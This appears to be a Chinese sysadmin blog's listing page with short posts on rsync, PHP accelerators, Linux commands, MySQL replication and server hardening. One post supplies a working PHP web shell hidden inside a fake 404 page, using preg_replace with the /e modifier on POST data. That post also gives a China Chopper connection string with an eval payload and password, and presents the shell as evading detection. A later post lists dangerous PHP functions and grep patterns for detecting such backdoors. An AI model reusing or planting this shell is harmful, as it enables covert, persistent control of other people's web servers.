rsync安装、配置全攻略 不指定

jed , 2012-12-29 12:03 , 服务器技术 , 评论(0) , 阅读(9690) , Via 本站原创
一.介绍 (不想看直接可以跳过)

Rsync 是一个远程数据同步工具,可通过 LAN/WAN 快速同步多台主机间的文件。 Rsync 本来是用以取代 rcp 的一个工具,它当前由  rsync.samba.org 维护。 Rsync 使用所谓的“ Rsync 演算法 ”来使本地和远程两个主机之间的文件达到同步,这个算法只传送两个文件的不同部分,而不是每次都整份传送,因此速度相当快。运行 Rsync server 的机器也叫 backup server ,一个 Rsync server 可同时备份多个 client 的数据;也可以多个 Rsync server 备份一个 client 的数据。

  Rsync 可以搭配 rsh 或 ssh 甚至使用 daemon 模式。 Rsync server 会打开一个 873 的服务通道 (port) ,等待对方 Rsync 连接。连接时, Rsync server 会检查口令是否相符,若通过口令查核,则可以开始进行文件传输。第一次连通完成时,会把整份文件传输一次,下一次就只传送二个文件之间不同的部份。

  Rsync 支持大多数的类 Unix 系统,无论是 Linux 、 Solaris 还是 BSD 上都经过了良好的测试。此外,它在 windows 平台下也有相应的版本,比较知名的有 cwRsync 和 Sync2NAS 。

  Rsync 的基本特点如下:

  1. 可以镜像保存整个目录树和文件系统;

  2. 可以很容易做到保持原来文件的权限、时间、软硬链接等;

  3. 无须特殊权限即可安装;

  4. 优化的流程,文件传输效率高;

  5. 可以使用 rcp 、 ssh 等方式来传输文件,当然也可以通过直接的 socket 连接;

6. 支持匿名传输。

核心算法介绍:

假定在名为α和β的两台计算机之间同步相似的文件 A 与 B ,其中α对文件 A 拥有访问权,β对文件 B 拥有访问权。并且假定主机α与β之间的网络带宽很小。那么 rsync 算法将通过下面的五个步骤来完成:

  1. β将文件 B 分割成一组不重叠的固定大小为 S 字节的数据块。最后一块可能会比 S  小。

  2. β对每一个分割好的数据块执行两种校验:一种是 32 位的滚动弱校验,另一种是 128 位的 MD4 强校验。

  3. β将这些校验结果发给α。

  4. α通过搜索文件 A 的所有大小为 S 的数据块 ( 偏移量可以任选,不一定非要是 S 的倍数 ) ,来寻找与文件 B 的某一块有着相同的弱校验码和强校验码的数据块。这项工作可以借助滚动校验的特性很快完成。

  5. α发给β一串指令来生成文件 A 在β上的备份。这里的每一条指令要么是对文件 B 经拥有某一个数据块而不须重传的证明,要么是一个数据块,这个数据块肯定是没有与文件 B 的任何一个数据块匹配上的。

命令:

rsync 的命令格式可以为以下六种:

  rsync [OPTION]... SRC DEST

  rsync [OPTION]... SRC [USER@]HOST:DEST

  rsync [OPTION]... [USER@]HOST:SRC DEST

  rsync [OPTION]... [USER@]HOST::SRC DEST

  rsync [OPTION]... SRC [USER@]HOST::DEST

  rsync [OPTION]... rsync://[USER@]HOST[:PORT]/SRC [DEST]

  对应于以上六种命令格式, rsync 有六种不同的工作模式:

  1) 拷贝本地文件。当 SRC 和 DES 路径信息都不包含有单个冒号 ":" 分隔符时就启动这种工作模式。

  2) 使用一个远程 shell 程序 ( 如 rsh 、 ssh) 来实现将本地机器的内容拷贝到远程机器。当 DST 路径地址包含单个冒号 ":" 分隔符时启动该模式。

  3) 使用一个远程 shell 程序 ( 如 rsh 、 ssh) 来实现将远程机器的内容拷贝到本地机器。当 SRC 地址路径包含单个冒号 ":" 分隔符时启动该模式。

  4) 从远程 rsync 服务器中拷贝文件到本地机。当 SRC 路径信息包含 "::" 分隔符时启动该模式。

  5) 从本地机器拷贝文件到远程 rsync 服务器中。当 DST 路径信息包含 "::" 分隔符时启动该模式。

  6) 列远程机的文件列表。这类似于 rsync 传输,不过只要在命令中省略掉本地机信息即可。


二.安装

在centos系统下默认已经安装了rsync,只需进行配置,并开启rsync守候进程即可。


#rpm -qa | grep rsync


检查是否已安装。

在CentOS服务器,我们可以执行以下命令安装

yum install rsync

对于debian、ubuntu服务器,则是以下命令

sudo apt-get  install  rsync


三、配置

1、修改rsync的配置文件

#cat /etc/xinetd.d/rsync


可以看到rysnc服务是关闭的(disable = yes),这里把它开启,把disable的值改为no


2、 创建rsync服务器配置文件/etc/rsyncd.conf

# Minimal configuration file for rsync daemon
# See rsync(1) and rsyncd.conf(5) man pages for help

# This line is required by the /etc/init.d/rsyncd script
pid file = /var/run/rsyncd.pid  
port = 873
address = 192.168.1.171  
#uid = nobody
#gid = nobody    
uid = root  
gid = root  

use chroot = yes  
read only = no  


#limit access to private LANs
hosts allow=192.168.1.0/255.255.255.0 10.0.1.0/255.255.255.0  
hosts deny=*

max connections = 5
motd file = /etc/rsyncd/rsyncd.motd

#This will give you a separate log file
#log file = /var/log/rsync.log

#This will log every file transferred - up to 85,000+ per user, per sync
#transfer logging = yes

log format = %t %a %m %f %b
syslog facility = local3
timeout = 300

[linuxsirhome]  
path = /home    
list=yes
ignore errors
auth users = grtongbu
secrets file = /etc/rsyncd/rsync.passwd
comment = linuxsir home  
exclude =   beinan/  samba/  

参考释义

#全局选项
strict modes =yes                        #是否检查口令文件的权限
port = 873                               #默认端口873
log file = /var/log/rsyncd.log           #日志记录文件     原文中有的,我没有使用,日志文件

pid file = /usr/local/rsync/rsyncd.pid   #运行进程的ID写到哪里    原文中有的,我没有使用,日志文件

#模块选项
[test]                                   # 这里是认证的模块名,在client端需要指定
max connections = 5                      #客户端最大连接数,默认0(没限制)
         uid = root                      #指定该模块传输文件时守护进程应该具有的uid
         gid = root                      #指定该模块传输文件时守护进程应该具有的gid
          path = /home/admin/testrsync   # 需要做备份的目录
          ignore errors                  # 可以忽略一些无关的IO错误
          read only = no                 #no客户端可上传文件,yes只读
          write only = no                #no客户端可下载文件,yes不能下载
          hosts allow = *                #充许任何主机连接
          hosts deny = 10.5.3.77         #禁止指定的主机连接
          auth users = root              # 认证的用户名,如果没有这行,则表明是匿名
          secrets file = /home/admin/security/rsync.pass    # 指定认证口令文件位置



http://blog.sina.com.cn/s/blog_5eda2dda01015fcs.html
http://hi.baidu.com/cxh1984/item/03bf5816a32febf8dceecabc
http://www.centos.bz/2011/06/rsync-server-setup/
http://blog.johntechinfo.com/technology/87
与xcache类似的,ioncube是为数不多能够在windows+apache环境使用的php优化工具之一。其作用与大名鼎鼎的Zend Optimizer大抵相似,但是如之前WAMP安装后对php提速优化一文中介绍到的,Zend Optimizer只支持到php5.2.x,而新的Zend Guard Loader虽然支持php5.3.x,但是只能在windows+IIS中使用。



ioncube的优化效果相当好,如果是在windows+apache中使用的是php5.3版本的话,Robin极力推荐安装此插件。安装方法如下:

1. 下载ioncube_loaders_win_vc9_x86.zip (百度最新)


2. 将压缩包内的ioncube_loader_win_5.3.dll拷贝至wamp\bin\php\php5.3.8\zend_ext目录下
Tags: ,
XCache是一款提速php执行效率的工具,只要是通过对php编译空间开启一定的缓存来实现提速。

windows+apache环境下能实现此功能的工具不多,XCache是其中比较好的一款,推荐使用。

安装方法:

1. 下载XCache-1.3.2-php-5.3.6-Win32-VC9-x86.zip (百度最新版本)
Tags: ,

       在linux中怎样用命令完全拷贝一个目录下的所有文件(包括隐藏文件以及文件夹)到另外一个目录下,并且使得被复制的所有文件的属性等完全保持不变?
       注意,连原来的文件夹中所有的文件的属性、链接等都不能更改。
也就是说,要建立原来文件夹的一份一模一样的拷贝!
         给你一个链接地址吧,你找的应该是在这个页面里的这句话:
# cp -avx /home/* /mnt/newhome



功能: 复制文件或目录
说明: cp指令用于复制文件或目录,如同时指定两个以上的文件或目录,且最后的目的地是一个已经存在的目录,则它会把前面指定的所有文件或目录复制到此目录中。若同时指定多个文件或目录,而最后的目的地并非一个已存在的目录,则会出现错误信息
参数:
1. 创建目录
     mkdir

     NO1. 在当前路径创建一级目录

          [root@rehat root]# mkdir test

     NO2. 在当前路径创建多级目录

          [root@rehat root]# mkdir -p mytest/test1/test1_1

     NO3. 在创建目录的同时给新建的目录赋权限

          [root@rehat root]# mkdir -m 777 testmod

          这样任何人对此目录都有任何权限
主从配置,跟之前的差不多一样。

http://www.dzhope.com/post/909/

特地备注一下从服务器只同步部分表的配置。


server-id = 3
#log-bin=/user/local/mysql/binlog/binlog
log-bin=mysql-bin
#expire_logs_days=5
#binlog-do-db = foodnewbbs
replicate-rewrite-db            = 主服务器库名A->从服务器库名B
replicate_do_table              = B.table1
replicate_do_table              = B.table2
#replicate-wild-do-table = foodnewbbs.pre_common_tagitem
binlog-ignore-db=mysql
binlog-ignore-db=foodbbs
binlog-ignore-db=foodqq
binlog-ignore-db=fooduchome
binlog-ignore-db=information_schema
binlog-ignore-db=performance_schema
binlog-ignore-db=test
binlog-ignore-db=ucenter3
binlog-ignore-db=ucenter2
binlog-ignore-db=wish
测试机器的硬件信息:

查看CPU信息(型号)
# cat /proc/cpuinfo | grep name | cut -f2 -d: | uniq -c
      8  Intel(R) Xeon(R) CPU            E5410   @ 2.33GHz
(看到有8个逻辑CPU, 也知道了CPU型号)

# cat /proc/cpuinfo | grep physical | uniq -c
      4 physical id      : 0
      4 physical id      : 1
(说明实际上是两颗4核的CPU)

# getconf LONG_BIT
   32
(说明当前CPU运行在32bit模式下, 但不代表CPU不支持64bit)

# cat /proc/cpuinfo | grep flags | grep ' lm ' | wc -l
   8
(结果大于0, 说明支持64bit计算. lm指long mode, 支持lm则是64bit)


再完整看cpu详细信息, 不过大部分我们都不关心而已.
# dmidecode | grep 'Processor Information'

查看内 存信息
# cat /proc/meminfo

# uname -a
Linux euis1 2.6.9-55.ELsmp #1 SMP Fri Apr 20 17:03:35 EDT 2007 i686 i686 i386 GNU/Linux
(查看当前操作系统内核信息)

# cat /etc/issue | grep Linux
Red Hat Enterprise Linux AS release 4 (Nahant Update 5)
(查看当前操作系统发行版信息)

查看机器型号
# dmidecode | grep "Product Name"  

查看网卡信息
# dmesg | grep -i eth
Tags: ,

PHP 404页面的一句话 [转] 不指定

jed , 2012-11-19 08:25 , 服务器技术 , 评论(0) , 阅读(5974) , Via 本站原创
把一句话搞隐蔽点,搞个404页面。 然后采用核心代码
@preg_replace(“/[checksql]/e”,$_POST['date'],”saft”);
这样可以有效的防止暴力破解还达到免杀的效果。

404一句话代码:


<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL /error.php was not found on this server.</p>   </body></html>
<?php
   @preg_replace("/[checksql]/e",$_POST['date'],"saft");   header('HTTP/1.1 404 Not Found');
?>




//菜刀连接方法,在菜刀里面配置栏加上

<O>date=@eval($_POST[paxmac]);</O>



密码为paxmac
Web Server(Nginx为例)
1、为防止跨站感染,要做虚拟主机目录隔离(我是直接利用fpm建立多个程序池达到隔离效果)
2、上传目录、include类的库文件目录要禁止代码执行(Nginx正则过滤)
3、path_info漏洞修正:

if ($request_filename ~* (.*)\.php) {
set $php_url $1;
}
if (!-e $php_url.php) {
return 404;
}

4、重新编译Web Server,隐藏Server信息。
5、打开相关级别的日志,追踪可疑请求,请求者IP等相关信息。

改变目录和文件属性,禁止写入

find -type f -name \*.php -exec chmod 444 {} \;
find -type d -exec chmod 555 {} \;

注:当然要排除上传目录、缓存目录等;
同时最好禁止chmod函数,攻击者可通过chmod来修改文件只读属性再修改文件!

PHP配置
禁用危险函数:

dl,eval,exec,passthru,system,popen,shell_exec,proc_open,proc_terminate,curl_exec,curl_multi_exec,show_source,touch,escapeshellcmd,escapeshellarg

MySQL账号安全:
禁止mysql用户外部链接,程序不要使用root账号,最好单独建立一个有限权限的账号专门用于Web程序。

查杀木马、后门
常见的一句话后门:

grep -r –include=*.php  ‘[^a-z]eval($_POST’ . > grep.txt
grep -r –include=*.php  ‘file_put_contents(.*$_POST\[.*\]);’ . > grep.txt

把搜索结果写入文件,下载下来慢慢分析,其他特征木马、后门类似。有必要的话可对全站所有文件来一次特征查找,上传图片肯定有也捆绑的,来次大清洗。

查找近2天被修改过的文件:

find -mtime -2 -type f -name \*.php

注意:攻击者可能会通过touch函数来修改文件时间属性来避过这种查找,所以touch必须禁止

最后要及时补上Web程序漏洞

总结
木马、后门查杀是个漫长的过程,网站一旦被入侵任何旮旯拐角都可能留下后门。中途可能和攻击者进行神交,摸清攻击者的性格、习性等,这些都有利于查杀。要现需谨慎地和攻击者交流,期间就有几个攻击者加我QQ和我交流。
也是个很有意思的过程

这些都是非常基本的命令,希望这篇小短文对Linux新手有帮助:

查看某目录占用空间命令:

# du -sh DirPath

比如: du -sh /home/snail

查看某目录下有多少个文件命令:

# find DirPath -type f | wc -l

比如: find /home/snail -type f | wc -l

如果想查看 src 目录下有多少 C 文件,如下:

# find ./src -type f -name "*.c" | wc -l

find 命令的 -type 后的参数有以下选择,每种都代表不一样的“类型(type)”
-type 文件类型
        b      块文件(比如内存)
        c      字符文件(比如串口)
        d      目录文件(目录也是一种文件)
        p      有名管道(FIFO)
        f      普通文件
        l      符号链接(如果使用 -L 或 -follow 选项则不起作用,除非链接损坏)
        s      socket文件(比如 /tmp/mysql.sock)
        D      door (Solaris)

------------------------------------------------------------------------------------------
分页: 9/34 第一页 上页 4 5 6 7 8 9 10 11 12 13 下页 最后页 [ 显示模式: 摘要 | 列表 ]